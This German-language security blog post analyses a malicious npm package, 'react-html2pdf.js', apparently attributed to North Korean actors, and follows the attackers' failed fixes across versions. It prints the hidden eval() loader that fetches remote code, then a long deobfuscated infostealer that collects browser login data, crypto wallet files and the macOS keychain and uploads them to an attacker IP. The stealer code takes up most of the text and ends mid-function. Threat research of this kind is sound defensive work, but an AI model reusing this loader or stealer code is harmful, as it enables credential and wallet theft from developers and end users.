Produkt
Alles, was Sie für die Sicherung von Code, Cloud und Laufzeit benötigen - in einem zentralen System
Code
Abhängigkeiten
Vermeidung von Open-Source-Risiken (SCA)
Geheimnisse
Aufgedeckte Geheimnisse fangen
SAST
Sicherer Code, wie er geschrieben wurde
Container-Bilder
Bilder einfach sichern
Malware
Verhinderung von Angriffen auf die Lieferkette
Infrastruktur als Code
IaC auf Fehlkonfigurationen prüfen
Lizenzrisiko & SBOMs
Vermeiden Sie Risiken, seien Sie konform
Veraltete Software
Kennen Sie Ihre EOL-Laufzeiten
Wolke
Wolke / CSPM
Cloud-Fehlkonfigurationen
DAST
Black-Box-Sicherheitstests
API-Überprüfung
Testen Sie Ihre APIs auf Sicherheitslücken
Virtuelle Maschinen
Keine Agenten, keine Gemeinkosten
Kubernetes-Laufzeit
bald
Sichern Sie Ihre Container-Workloads
Cloud-Inventar
Cloud-Sprawl, gelöst
Verteidigen Sie
Laufzeitschutz
In-App-Firewall / WAF
Eigenschaften
AI AutoFix
1-Klick-Korrekturen mit Aikido AI
CI/CD-Sicherheit
Scannen vor der Zusammenführung und Bereitstellung
IDE-Integrationen
Sofortiges Feedback während des Programmierens
Vor-Ort-Scanner
Lokales Scannen nach dem Prinzip "Compliance first
Lösungen
Anwendungsfälle
Einhaltung der Vorschriften
SOC 2, ISO und mehr automatisieren
Schwachstellen-Management
All-in-1-Verwaltung von Viren
Sichern Sie Ihren Code
Erweiterte Codesicherheit
SBOMs generieren
1 Klick SCA-Berichte
ASPM
End-to-End AppSec
AI im Aikido
Lassen Sie Aikido AI die Arbeit machen
Block 0-Tage
Bedrohungen blockieren, bevor sie sich auswirken
Branchen
FinTech
HealthTech
HRTech
Legal Tech
Konzerne
Agenturen
Startups
Unternehmen
Mobile Apps
Herstellung
Preise
Ressourcen
Entwickelnde
Dokumente
Wie man Aikido verwendet
Öffentliche API-Dokumente
Aikido-Entwicklerzentrum
Änderungsliste
Sehen Sie, was geliefert wird
Sicherheit
Interne Forschung
Malware und CVE-Informationen
Glossar
Leitfaden zum Sicherheitsjargon
Trust Center
Sicher, privat, gesetzeskonform
Open Source 
Aikido Intel
Malware & OSS-Bedrohungs-Feed
Zen
In-App-Firewall-Schutz
OpenGrep
Code-Analyse-Engine
Integrationen
IDEs
CI/CD-Systeme
Wolken
Git-Systeme
Einhaltung der Vorschriften
Boten
Aufgaben-Manager
Mehr Integrationen
Über
Über
Über
Treffen Sie das Team
Karriere
Wir stellen ein
Pressemappe
Herunterladen von Markenwerten
Kalender
Sehen wir uns?
Open Source 
Unsere OSS-Projekte
Blog
Die neuesten Beiträge
Kundengeschichten
Das Vertrauen der besten Teams
Kontakt
Anmeldung
Kostenloser Start
Kein CC erforderlich
Aikido
Menü
Aikido
DE
DE
FR
JP
Anmeldung
Kostenloser Start
Kein CC erforderlich
Blog
/
Malware versteckt sich im Verborgenen: Spionage gegen nordkoreanische Hacker

Malware versteckt sich im Verborgenen: Spionage gegen nordkoreanische Hacker

Unter
Charlie Eriksen
Charlie Eriksen
4 Minuten lesen

Am 13. März 2025 machte uns unsere Malware-Analyse-Engine auf ein potenziell bösartiges Paket aufmerksam, das zu NPM hinzugefügt wurde. Die ersten Anzeichen deuteten darauf hin, dass es sich um einen eindeutigen Fall handeln würde, aber als wir anfingen, die Schichten zu entfernen, waren die Dinge nicht ganz so, wie sie schienen. 

Hier ist eine Geschichte darüber, wie raffinierte staatliche Akteure Malware in Paketen verstecken können. 

Benachrichtigung

Kurz nach 13 Uhr wurden wir von unserem Malware-Erkennungstool benachrichtigt, dass ein neues bösartiges Paket auf NPM hochgeladen wurde, das uns auf das Paket react-html2pdf.js (inzwischen entfernt) hinwies. Es sah so aus, als würde sich dieses Paket als das legitime und beliebte npm-Paket react-html2pdf ausgeben. Obwohl es verdächtig aussah, konnten wir die Bedrohung, die es darstellte, nicht sofort erkennen, bis wir etwas genauer hinsahen.

Wie man sich vor aller Augen versteckt

Der erste Schritt, den wir unternahmen, war ein Blick auf die paket.json. Die meisten Schadprogramme haben einen Lebenszyklus-Haken wie vorinstallieren, installieren, nach der Installation. Aber das haben wir in diesem Paket nicht gesehen.

{
  "name": "react-html2pdf.js",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/pdec9690/react-html2pdf.git"
  },
  "author": "",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/pdec9690/react-html2pdf/issues"
  },
  "homepage": "https://github.com/pdec9690/react-html2pdf#readme",
  "dependencies": {
    "request": "^2.88.2",
    "sqlite3": "^5.1.7"
  }
}

Als nächstes werfen wir einen Blick in die Datei index.js. Aber auch hier war seltsamerweise nichts zu finden. Als wir uns zu fragen begannen, ob unser Malware-Detektor einen falschen Alarm auslöste, entdeckten wir schließlich etwas.... Können Sie es sehen?

Es ist leicht zu übersehen, aber hier stimmt etwas nicht. 

Ist Ihnen die horizontale Bildlaufleiste aufgefallen? Was versucht sie zu verbergen? Wir haben zur Seite gescrollt, und da war unsere Antwort. 

Hier ist die geschönte Version des Codes.

function html2pdf() {
    (async () => eval((await axios.get("https://ipcheck-production.up.railway[.]app/106", {
        headers: {
            "x-secret-key": "locationchecking"
        }
    })).data))()
    return "html2pdf"
}

module.exports = html2pdf

Da haben wir es. Es wird eine HTTP-Anfrage an eine URL gestellt und die Antwort wird direkt an eval(). 

Wir alle machen Fehler

Wir brauchten einige Augenblicke, um zu erkennen, dass unsere automatische Erkennung korrekt war, und es war uns etwas peinlich, an ihrer Richtigkeit gezweifelt zu haben. Aber wir alle machen Fehler, richtig....... Sogar die Angreifer tun das, denn sie haben selbst mehrere Fehler gemacht. 

  1. Es gibt zwei Abhängigkeiten in dem Paket: sqlite3 und Anfrage. Weder hat axios als eine Abhängigkeit.
  2. Es gibt keine Import/Require-Anweisung für axios.

Infolgedessen hätte dieser Angriff niemals funktioniert. Selbst wenn sie axios als Abhängigkeit aufgenommen hätten, fehlte immer noch ein Import. 

Sie in Echtzeit fummeln zu sehen

Es mag den Anschein haben, dass dies eine Geschichte über einen gescheiterten Versuch ist, Malware zu schreiben. Diese Geschichte fängt gerade erst an, und es ist etwas sehr Cooles passiert. Wir konnten die Angreifer bei der Fehlersuche und -behebung in Echtzeit beobachten. 

Unser Malware-Analyseprogramm entdeckte dieses Paket in der Version 1.0.0, aber die nachfolgenden Versionen gaben uns wertvolle Einblicke in die Arbeitsweise dieser Bedrohungsakteure und sorgten für endlose Unterhaltung, da wir beobachten konnten, wie sie bei der Durchführung ihres Angriffs herumprobierten und scheiterten.  

1.0.0 - 3/13/2025, 12:54:40 UHR

Innere Version 1.0.0In der ersten Version besteht das Paket aus der gleichen index.js-Datei wie zuvor, und es gibt eine Datei namens /test/script.js. Es tut nur dies:

const html2pdf = require('react-html2pdf.js')

Konsole.log(html2pdf())

Dies löst einfach das Paket selbst auf und führt die Nutzlast aus. Dies würde wahrscheinlich als Teil eines Lebenszyklus-Hooks verwendet werden, aber es war keiner vorhanden.

1.0.1 - 3/13/2025, 2:10:00 UHR

In dieser Version scheinen sie ihren Code zu debuggen. Anders als bei der Version 1.0.0 versuchen sie nicht mehr, ihren bösartigen Code zu verstecken.

Sie haben den Code geändert, um eine asynchrone Funktion anstelle eines anonymen Lambdas zu verwenden. Außerdem haben sie eine Konsolenprotokollierungsanweisung hinzugefügt. 

Auch APTs debuggen Code mit console.log offensichtlich!

Sie versuchen herauszufinden, warum es nicht die erwartete HTTP-Anfrage stellt. Offensichtlich liegt es daran, dass es keine Abhängigkeit von axios und keine Importanweisung für sie.

1.0.2 - 3/13/2025, 2:23:49 PM

15 Minuten später scheinen sie endlich herausgefunden zu haben, dass sie axios als Abhängigkeit hinzufügen müssen und haben axios@^1.8.3. 

{
  "name": "react-html2pdf.js",
  "version": "1.0.2",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/pdec9690/react-html2pdf.git"
  },
  "author": "",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/pdec9690/react-html2pdf/issues"
  },
  "homepage": "https://github.com/pdec9690/react-html2pdf#readme",
  "dependencies": {
    "axios": "^1.8.3",
    "request": "^2.88.2",
    "sqlite3": "^5.1.7"
  }
}

Der Code ist ansonsten derselbe. Er verfügt immer noch über Debug-Protokollierung und hat die Whitespace-Verschleierung nicht wieder eingeführt. 

Sie kommen zwar näher, aber die Angreifer haben immer noch nicht daran gedacht, Axios zu importieren. 

1.0.3 - 3/13/2025, 2:37:23 PM

Ein paar Minuten später erhielten wir ein weiteres Update. Es ist immer noch klar, dass sie immer noch versuchen, das Problem mit den Änderungen an der index.js-Datei in dieser Version zu beheben. Leider haben sie die Ursache des Problems noch nicht ganz herausgefunden. 

const html2pdf = async () => {
    const res = await axios.get("https://ipcheck-production.up.railway.app/106", { headers: { "x-secret-key": "locationchecking" } });
    console.log("checked ok");
    eval(res.data.cookie);
    return "html2pdf"
}

module.exports = html2pdf

Sie werden zwei Änderungen feststellen:

  1. Anstelle einer Funktion wird sie als asynchrones Lambda definiert. 
  2. Sie eval()'ing die res.data.cookie anstelle von res.data wie in früheren Versionen. Aber die Nutzlast ist nicht im Cookie oder einem Feld namens Cookie, wenn wir es vom Server abrufen. 

Dies funktioniert jedoch immer noch nicht, da keine import/require-Anweisung vorhanden ist. 

Analyse der Nutzlast

Mit einem Gewinnspiel im Büro, bei dem man Wetten abschließen konnte, wie lange es dauern würde, den Fehler zu entdecken, warteten wir gespannt auf das nächste Update. Leider schienen die Angreifer frustriert zu sein und die Motivation für ihren Exploit zu verlieren, da keine weiteren Updates mehr eintrafen. Das gab uns etwas Zeit, um etwas tiefer zu graben und die bösartige Nutzlast zu analysieren, die sie zu injizieren versuchten. 

Wie bei ihren anderen Paketen ist auch dieses verschleiert. Nachdem wir es einer Entschleierung unterzogen haben, haben wir eine sehr klassische Nutzlast erhalten, die gut dokumentiert ist. 

(function (_0x439ccd, _0x2f2b84) {
  const _0x48e319 = _0x439ccd();
  while (true) {
    try {
      const _0xc3ac80 = -parseInt(_0x5e84(719, 0x6d6)) / 1 + parseInt(_0x5e84(433, 0x551)) / 2 + parseInt(_0x5e84(659, -0x1c1)) / 3 + -parseInt(_0x5e84(392, -0x21a)) / 4 * (-parseInt(_0x5e84(721, -0x9a)) / 5) + parseInt(_0x5e84(687, 0x623)) / 6 * (-parseInt(_0x5e84(409, 0x570)) / 7) + -parseInt(_0x5e84(459, -0x17b)) / 8 * (parseInt(_0x5e84(419, 0x50b)) / 9) + parseInt(_0x5e84(415, -0x194)) / 10;
      if (_0xc3ac80 === _0x2f2b84) {
        break;
      } else {
        _0x48e319.push(_0x48e319.shift());
      }
    } catch (_0x6c2a0f) {
      _0x48e319.push(_0x48e319.shift());
    }
  }
})(_0x506f, 354290);
const _0x7b1f8a = function () {
  let _0x4ca892 = true;
  return function (_0x56e847, _0x590243) {
    const _0x745c8c = _0x4ca892 ? function () {
      if (_0x590243) {
        const _0x322c0c = _0x590243.apply(_0x56e847, arguments);
        _0x590243 = null;
        return _0x322c0c;
      }
    } : function () {};
    _0x4ca892 = false;
    return _0x745c8c;
  };
}();
const _0x4b1d0b = _0x7b1f8a(this, function () {
  return _0x4b1d0b.toString().search("(((.+)+)+)+$").toString().constructor(_0x4b1d0b).search("(((.+)+)+)+$");
});
_0x4b1d0b();
function _0x5e84(_0x491dbf, _0x24c768) {
  const _0x1eb954 = _0x506f();
  _0x5e84 = function (_0x3109a1, _0x3d8eb2) {
    _0x3109a1 = _0x3109a1 - 390;
    let _0x273b10 = _0x1eb954[_0x3109a1];
    if (_0x5e84.QApUJJ === undefined) {
      var _0x4807eb = function (_0x1c601e) {
        let _0x52517a = '';
        let _0xb93639 = '';
        let _0x194ad5 = _0x52517a + _0x4807eb;
        let _0x9c31a6 = 0;
        let _0x5bbe0b;
        let _0x1757c6;
        for (let _0xa23365 = 0; _0x1757c6 = _0x1c601e.charAt(_0xa23365++); ~_0x1757c6 && (_0x5bbe0b = _0x9c31a6 % 4 ? _0x5bbe0b * 64 + _0x1757c6 : _0x1757c6, _0x9c31a6++ % 4) ? _0x52517a += _0x194ad5.charCodeAt(_0xa23365 + 10) - 10 !== 0 ? String.fromCharCode(255 & _0x5bbe0b >> (-2 * _0x9c31a6 & 6)) : _0x9c31a6 : 0) {
          _0x1757c6 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='.indexOf(_0x1757c6);
        }
        let _0x469363 = 0;
        for (let _0x148ed5 = _0x52517a.length; _0x469363 < _0x148ed5; _0x469363++) {
          _0xb93639 += '%' + ('00' + _0x52517a.charCodeAt(_0x469363).toString(16)).slice(-2);
        }
        return decodeURIComponent(_0xb93639);
      };
      _0x5e84.SmAvPn = _0x4807eb;
      _0x491dbf = arguments;
      _0x5e84.QApUJJ = true;
    }
    const _0x3c1851 = _0x1eb954[0];
    const _0x59b60e = _0x3109a1 + _0x3c1851;
    const _0x55f78b = _0x491dbf[_0x59b60e];
    if (!_0x55f78b) {
      const _0x5f300b = function (_0x2fd671) {
        this.QHOMud = _0x2fd671;
        this.YVDaph = [1, 0, 0];
        this.JcbGmJ = function () {
          return 'newState';
        };
        this.OVyCMT = "\\w+ *\\(\\) *{\\w+ *";
        this.JLwvwW = "['|\"].+['|\"];? *}";
      };
      _0x5f300b.prototype.mifMRh = function () {
        const _0x229166 = new RegExp(this.OVyCMT + this.JLwvwW);
        const _0x3a34db = _0x229166.test(this.JcbGmJ.toString()) ? --this.YVDaph[1] : --this.YVDaph[0];
        return this.BbIAmR(_0x3a34db);
      };
      _0x5f300b.prototype.BbIAmR = function (_0x42c1a6) {
        if (!Boolean(~_0x42c1a6)) {
          return _0x42c1a6;
        }
        return this.bXmZOq(this.QHOMud);
      };
      _0x5f300b.prototype.bXmZOq = function (_0xbd8ca5) {
        let _0x47b9b1 = 0;
        for (let _0x2729f9 = this.YVDaph.length; _0x47b9b1 < _0x2729f9; _0x47b9b1++) {
          this.YVDaph.push(Math.round(Math.random()));
          _0x2729f9 = this.YVDaph.length;
        }
        return _0xbd8ca5(this.YVDaph[0]);
      };
      new _0x5f300b(_0x5e84).mifMRh();
      _0x273b10 = _0x5e84.SmAvPn(_0x273b10);
      _0x491dbf[_0x59b60e] = _0x273b10;
    } else {
      _0x273b10 = _0x55f78b;
    }
    return _0x273b10;
  };
  return _0x5e84(_0x491dbf, _0x24c768);
}
const _0x37a9de = function () {
  const _0x11156e = {
    npoYK: 'IOjyc'
  };
  _0x11156e.wzbes = function (_0x2abc93, _0x52b5bf) {
    return _0x2abc93 === _0x52b5bf;
  };
  _0x11156e.gBKuE = "arDDM";
  _0x11156e.ptaJJ = "Moloi";
  let _0x135685 = true;
  return function (_0x2f5864, _0x41df13) {
    if (_0x11156e.wzbes(_0x11156e.gBKuE, _0x11156e.ptaJJ)) {
      try {
        const _0x1cb1ce = {
          filename: _0x2d36f8 + '_lst'
        };
        _0xf5f415.push({
          'value': _0x404acb.createReadStream(_0x321d52),
          'options': _0x1cb1ce
        });
      } catch (_0x2a90eb) {}
    } else {
      const _0x1b0bdc = _0x135685 ? function () {
        if (_0x41df13) {
          const _0x1854ff = _0x41df13.apply(_0x2f5864, arguments);
          _0x41df13 = null;
          return _0x1854ff;
        }
      } : function () {};
      _0x135685 = false;
      return _0x1b0bdc;
    }
  };
}();
const _0x2beb3b = _0x37a9de(this, function () {
  const _0xf65419 = function () {
    let _0x2cff02;
    try {
      _0x2cff02 = Function("return (function() {}.constructor(\"return this\")( ));")();
    } catch (_0x1b5eab) {
      _0x2cff02 = window;
    }
    return _0x2cff02;
  };
  const _0x1b948b = _0xf65419();
  const _0x342695 = _0x1b948b.console = _0x1b948b.console || {};
  const _0x212c22 = ["log", "warn", "info", "error", "exception", 'table', "trace"];
  for (let _0xf72095 = 0; _0xf72095 < _0x212c22.length; _0xf72095++) {
    const _0x394e1b = _0x37a9de.constructor.prototype.bind(_0x37a9de);
    const _0x444ab9 = _0x212c22[_0xf72095];
    const _0x442110 = _0x342695[_0x444ab9] || _0x394e1b;
    _0x394e1b.__proto__ = _0x37a9de.bind(_0x37a9de);
    _0x394e1b.toString = _0x442110.toString.bind(_0x442110);
    _0x342695[_0x444ab9] = _0x394e1b;
  }
});
_0x2beb3b();
const fs = require('fs');
const os = require('os');
const path = require("path");
const request = require("request");
const ex = require("child_process").exec;
const hostname = os.hostname();
const platform = os.platform();
const homeDir = os.homedir();
const tmpDir = os.tmpdir();
const fs_promises = require("fs/promises");
const getAbsolutePath = _0x30607a => _0x30607a.replace(/^~([a-z]+|\/)/, (_0x2a0b7e, _0x4cea8f) => '/' === _0x4cea8f ? homeDir : path.dirname(homeDir) + '/' + _0x4cea8f);
function testPath(_0x133be5) {
  try {
    fs.accessSync(_0x133be5);
    return true;
  } catch (_0x4d579f) {
    return false;
  }
}
function _0x506f() {
  const _0x4e59ac = [....];
  _0x506f = function () {
    return _0x4e59ac;
  };
  return _0x506f();
}
function _0x275dbc(_0x3a088a, _0x2b8854, _0x55aca9, _0x523cc3) {
  return _0x5e84(_0x3a088a - 0x27, _0x523cc3);
}
const R = ["Local/BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser"];
const Q = ["Local/Google/Chrome", "Google/Chrome", "google-chrome"];
const X = ["Roaming/Opera Software/Opera Stable", "com.operasoftware.Opera", "opera"];
const Bt = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "ejbalbakoplchlghecdalmeeeajnimhm", "fhbohimaelbohpjbbldcngcnapndodjp", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "hifafgmccdpekplomjjkcfgodnhcellj", "jblndlipeogpafnldhgmapagcccfchpi", "acmacodkjbdgmoleebolmdjonilkdbch", "dlcobpjiigpikoobohmabehhmhfoodbb", "mcohilncbfahbmgdjkbpemcciiolgcge", "agoakfejjabomempkjlepdflaleeobhb", "omaabbefbmiijedngplfjmnooppbclkk", "aholpfdialjgjfhomihkjbmgjidlcdno", "nphplpgoakhhjchkkhmiggakijnkhfnd", "penjlddjkjgpnkllboccdgccekpkcbin", "lgmpcpglpngdoalbgeoldeajfclnhafa", "fldfpgipfncgndfolcbkdeeknbbbnhcc", "bhhhlbepdkbapadjdnnojkbgioiodbic", "aeachknmefphepccionboohckonoeemg", "gjnckgkfmgmibbkoficdidcljeaaaheg", "afbcbjpbpfadlkmhmclhkeeodmamcflc"];
const uploadFiles = async (_0x4e59e1, _0x1e64c9, _0x1b778e, _0x35144d) => {
  let _0xbfe9a;
  if (!_0x4e59e1 || '' === _0x4e59e1) {
    return [];
  }
  try {
    if (!testPath(_0x4e59e1)) {
      return [];
    }
  } catch (_0x25bf31) {
    return [];
  }
  if (!_0x1e64c9) {
    _0x1e64c9 = '';
  }
  let _0x2ae51b = [];
  for (let _0x801a82 = 0; _0x801a82 < 200; _0x801a82++) {
    const _0x3fd963 = _0x4e59e1 + '/' + (0 === _0x801a82 ? "Default" : "Profile " + _0x801a82) + "/Local Extension Settings";
    for (let _0x2652fd = 0; _0x2652fd < Bt.length; _0x2652fd++) {
      let _0x2ef81f = _0x3fd963 + '/' + Bt[_0x2652fd];
      if (testPath(_0x2ef81f)) {
        let _0x1fd2c9 = [];
        try {
          _0x1fd2c9 = fs.readdirSync(_0x2ef81f);
        } catch (_0x354f49) {
          _0x1fd2c9 = [];
        }
        let _0x4808c4 = 0;
        if (!testPath(getAbsolutePath('~/') + "/.n3")) {
          fs_promises.mkdir(getAbsolutePath('~/') + "/.n3");
        }
        _0x1fd2c9.forEach(async _0x4e7f8b => {
          let _0x3bca73 = path.join(_0x2ef81f, _0x4e7f8b);
          try {
            let _0x331d2f = fs.statSync(_0x3bca73);
            if (_0x331d2f.isDirectory()) {
              return;
            }
            if (_0x3bca73.includes(".log") || _0x3bca73.includes(".ldb")) {
              const _0x50a239 = {
                filename: "106_" + _0x1e64c9 + _0x801a82 + '_' + Bt[_0x2652fd] + '_' + _0x4e7f8b
              };
              _0x2ae51b.push({
                'value': fs.createReadStream(_0x3bca73),
                'options': _0x50a239
              });
            } else {
              fs_promises.copyFile(_0x3bca73, getAbsolutePath('~/') + "/.n3/tp" + _0x4808c4);
              const _0x27ff50 = {
                filename: "106_" + _0x1e64c9 + _0x801a82 + '_' + Bt[_0x2652fd] + '_' + _0x4e7f8b
              };
              _0x2ae51b.push({
                'value': fs.createReadStream(getAbsolutePath('~/') + '/.n3/tp' + _0x4808c4),
                'options': _0x27ff50
              });
              _0x4808c4 += 1;
            }
          } catch (_0x365110) {}
        });
      }
    }
  }
  if (_0x1b778e && (_0xbfe9a = homeDir + "/.config/solana/id.json", fs.existsSync(_0xbfe9a))) {
    try {
      const _0x149c73 = {
        filename: "solana_id.txt"
      };
      _0x2ae51b.push({
        'value': fs.createReadStream(_0xbfe9a),
        'options': _0x149c73
      });
    } catch (_0x293a9e) {}
  }
  Upload(_0x2ae51b, _0x35144d);
  return _0x2ae51b;
};
const uploadMozilla = _0x28bdbb => {
  const _0x58f3c4 = getAbsolutePath('~/') + "/AppData/Roaming/Mozilla/Firefox/Profiles";
  let _0x11a54c = [];
  if (testPath(_0x58f3c4)) {
    let _0x43f643 = [];
    try {
      _0x43f643 = fs.readdirSync(_0x58f3c4);
    } catch (_0x277851) {
      _0x43f643 = [];
    }
    let _0xfea5f8 = 0;
    _0x43f643.forEach(async _0x7fdd1f => {
      let _0x1565a3 = path.join(_0x58f3c4, _0x7fdd1f);
      if (_0x1565a3.includes('-release')) {
        let _0xb824a = path.join(_0x1565a3, "/storage/default");
        let _0x5b8589 = [];
        _0x5b8589 = fs.readdirSync(_0xb824a);
        let _0x56f1bd = 0;
        _0x5b8589.forEach(async _0x1349f0 => {
          if (_0x1349f0.includes("moz-extension")) {
            let _0xb29520 = path.join(_0xb824a, _0x1349f0);
            _0xb29520 = path.join(_0xb29520, "idb");
            let _0xbf7b4c = [];
            _0xbf7b4c = fs.readdirSync(_0xb29520);
            _0xbf7b4c.forEach(async _0x39b65b => {
              if (_0x39b65b.includes(".files")) {
                let _0x23bb34 = path.join(_0xb29520, _0x39b65b);
                let _0x907e03 = [];
                _0x907e03 = fs.readdirSync(_0x23bb34);
                _0x907e03.forEach(_0x18728f => {
                  if (!fs.statSync(path.join(_0x23bb34, _0x18728f)).isDirectory()) {
                    let _0x5c1eaa = path.join(_0x23bb34, _0x18728f);
                    const _0x3dabaf = {
                      filename: _0xfea5f8 + '_' + _0x56f1bd + '_' + _0x18728f
                    };
                    _0x11a54c.push({
                      'value': fs.createReadStream(_0x5c1eaa),
                      'options': _0x3dabaf
                    });
                  }
                });
              }
            });
          }
        });
        _0x56f1bd += 1;
      }
      _0xfea5f8 += 1;
    });
    Upload(_0x11a54c, _0x28bdbb);
    return _0x11a54c;
  }
};
const uploadEs = _0x259211 => {
  let _0x3d015b = '';
  let _0x237a59 = [];
  if ('w' == platform[0]) {
    _0x3d015b = getAbsolutePath('~/') + "/AppData/Roaming/Exodus/exodus.wallet";
  } else if ('d' == platform[0]) {
    _0x3d015b = getAbsolutePath('~/') + "/Library/Application Support/exodus.wallet";
  } else {
    _0x3d015b = getAbsolutePath('~/') + "/.config/Exodus/exodus.wallet";
  }
  if (testPath(_0x3d015b)) {
    let _0x12e506 = [];
    try {
      _0x12e506 = fs.readdirSync(_0x3d015b);
    } catch (_0x94bd45) {
      _0x12e506 = [];
    }
    let _0x28935a = 0;
    if (!testPath(getAbsolutePath('~/') + "/.n3")) {
      fs_promises.mkdir(getAbsolutePath('~/') + '/.n3');
    }
    _0x12e506.forEach(async _0x19fec3 => {
      let _0x4b88c9 = path.join(_0x3d015b, _0x19fec3);
      try {
        fs_promises.copyFile(_0x4b88c9, getAbsolutePath('~/') + "/.n3/tp" + _0x28935a);
        const _0x61985d = {
          filename: "106_" + _0x19fec3
        };
        _0x237a59.push({
          'value': fs.createReadStream(getAbsolutePath('~/') + "/.n3/tp" + _0x28935a),
          'options': _0x61985d
        });
        _0x28935a += 1;
      } catch (_0x59cc5f) {}
    });
  }
  Upload(_0x237a59, _0x259211);
  return _0x237a59;
};
const Upload = (_0x5371da, _0x486521) => {
  const _0x56f846 = {
    type: "106"
  };
  _0x56f846.hid = "106_" + hostname;
  _0x56f846.uts = _0x486521;
  _0x56f846.multi_file = _0x5371da;
  try {
    if (_0x5371da.length > 0) {
      const _0x4ca09a = {
        url: "http://144.172.96[.]80:1224/uploads",
        formData: _0x56f846
      };
      request.post(_0x4ca09a, (_0x3ae8f6, _0x3a2f2e, _0x14c423) => {});
    }
  } catch (_0x531e0d) {}
};
const UpAppData = async (_0x4426ad, _0x3e8f59, _0x60e2a7) => {
  try {
    let _0x268ce4 = '';
    _0x268ce4 = 'd' == platform[0] ? getAbsolutePath('~/') + "/Library/Application Support/" + _0x4426ad[1] : 'l' == platform[0] ? getAbsolutePath('~/') + "/.config/" + _0x4426ad[2] : getAbsolutePath('~/') + '/AppData/' + _0x4426ad[0] + "/User Data";
    await uploadFiles(_0x268ce4, _0x3e8f59 + '_', 0 == _0x3e8f59, _0x60e2a7);
  } catch (_0x5ebd09) {}
};
const UpKeychain = async _0x3714c5 => {
  let _0x3a24d9 = [];
  let _0x39d8f5 = homeDir + "/Library/Keychains/login.keychain";
  if (fs.existsSync(_0x39d8f5)) {
    try {
      const _0x94b19a = {
        filename: "logkc-db"
      };
      _0x3a24d9.push({
        'value': fs.createReadStream(_0x39d8f5),
        'options': _0x94b19a
      });
    } catch (_0x5a79ae) {}
  } else {
    _0x39d8f5 += '-db';
    if (fs.existsSync(_0x39d8f5)) {
      try {
        const _0x1aed52 = {
          filename: "logkc-db"
        };
        _0x3a24d9.push({
          'value': fs.createReadStream(_0x39d8f5),
          'options': _0x1aed52
        });
      } catch (_0x29bcaf) {}
    }
  }
  try {
    let _0x17c169 = homeDir + "/Library/Application Support/Google/Chrome";
    if (testPath(_0x17c169)) {
      for (let _0x1d1991 = 0; _0x1d1991 < 200; _0x1d1991++) {
        const _0x141480 = _0x17c169 + '/' + (0 === _0x1d1991 ? 'Default' : "Profile " + _0x1d1991) + "/Login Data";
        try {
          if (!testPath(_0x141480)) {
            continue;
          }
          const _0x11ddc5 = _0x17c169 + "/ld_" + _0x1d1991;
          const _0x4c51e4 = {
            filename: 'pld_' + _0x1d1991
          };
          if (testPath(_0x11ddc5)) {
            _0x3a24d9.push({
              'value': fs.createReadStream(_0x11ddc5),
              'options': _0x4c51e4
            });
          } else {
            fs.copyFile(_0x141480, _0x11ddc5, _0x5336ba => {
              const _0x173efd = {
                filename: "pld_" + _0x1d1991
              };
              let _0x2adc61 = [{
                'value': fs.createReadStream(_0x141480),
                'options': _0x173efd
              }];
              Upload(_0x2adc61, _0x3714c5);
            });
          }
        } catch (_0x136aa3) {}
      }
    }
  } catch (_0x10da1f) {}
  try {
    let _0x5877c5 = homeDir + "/Library/Application Support/BraveSoftware/Brave-Browser";
    if (testPath(_0x5877c5)) {
      for (let _0x4289ac = 0; _0x4289ac < 200; _0x4289ac++) {
        const _0x388e88 = _0x5877c5 + '/' + (0 === _0x4289ac ? "Default" : "Profile " + _0x4289ac);
        try {
          if (!testPath(_0x388e88)) {
            continue;
          }
          const _0x4cb112 = _0x388e88 + "/Login Data";
          const _0x533124 = {
            filename: 'brld_' + _0x4289ac
          };
          if (testPath(_0x4cb112)) {
            _0x3a24d9.push({
              'value': fs.createReadStream(_0x4cb112),
              'options': _0x533124
            });
          } else {
            fs.copyFile(_0x388e88, _0x4cb112, _0x29cd60 => {
              const _0x2c0338 = {
                filename: "brld_" + _0x4289ac
              };
              let _0x2511d4 = [{
                'value': fs.createReadStream(_0x388e88),
                'options': _0x2c0338
              }];
              Upload(_0x2511d4, _0x3714c5);
            });
          }
        } catch (_0x3a308e) {}
      }
    }
  } catch (_0x430644) {}
  Upload(_0x3a24d9, _0x3714c5);
  return _0x3a24d9;
};
const UpUserData = async (_0x36f5a0, _0x286e68, _0x4300cf) => {
  let _0x424c5f = [];
  let _0x4b95f2 = '';
  _0x4b95f2 = 'd' == platform[0] ? getAbsolutePath('~/') + "/Library/Application Support/" + _0x36f5a0[1] : 'l' == platform[0] ? getAbsolutePath('~/') + '/.config/' + _0x36f5a0[2] : getAbsolutePath('~/') + "/AppData/" + _0x36f5a0[0] + "/User Data";
  let _0x227f08 = _0x4b95f2 + "/Local State";
  if (fs.existsSync(_0x227f08)) {
    try {
      const _0x4a1d0a = {
        filename: _0x286e68 + "_lst"
      };
      _0x424c5f.push({
        'value': fs.createReadStream(_0x227f08),
        'options': _0x4a1d0a
      });
    } catch (_0x18477b) {}
  }
  try {
    if (testPath(_0x4b95f2)) {
      for (let _0x5d2f7f = 0; _0x5d2f7f < 200; _0x5d2f7f++) {
        const _0x217a08 = _0x4b95f2 + '/' + (0 === _0x5d2f7f ? 'Default' : "Profile " + _0x5d2f7f);
        try {
          if (!testPath(_0x217a08)) {
            continue;
          }
          const _0x43a5b3 = _0x217a08 + "/Login Data";
          if (!testPath(_0x43a5b3)) {
            continue;
          }
          const _0x677c1e = {
            filename: _0x286e68 + '_' + _0x5d2f7f + "_uld"
          };
          _0x424c5f.push({
            'value': fs.createReadStream(_0x43a5b3),
            'options': _0x677c1e
          });
        } catch (_0x468130) {}
      }
    }
  } catch (_0x25db13) {}
  Upload(_0x424c5f, _0x4300cf);
  return _0x424c5f;
};
function _0x209c84(_0x42c618, _0x40ddd7, _0x324bac, _0x231a82) {
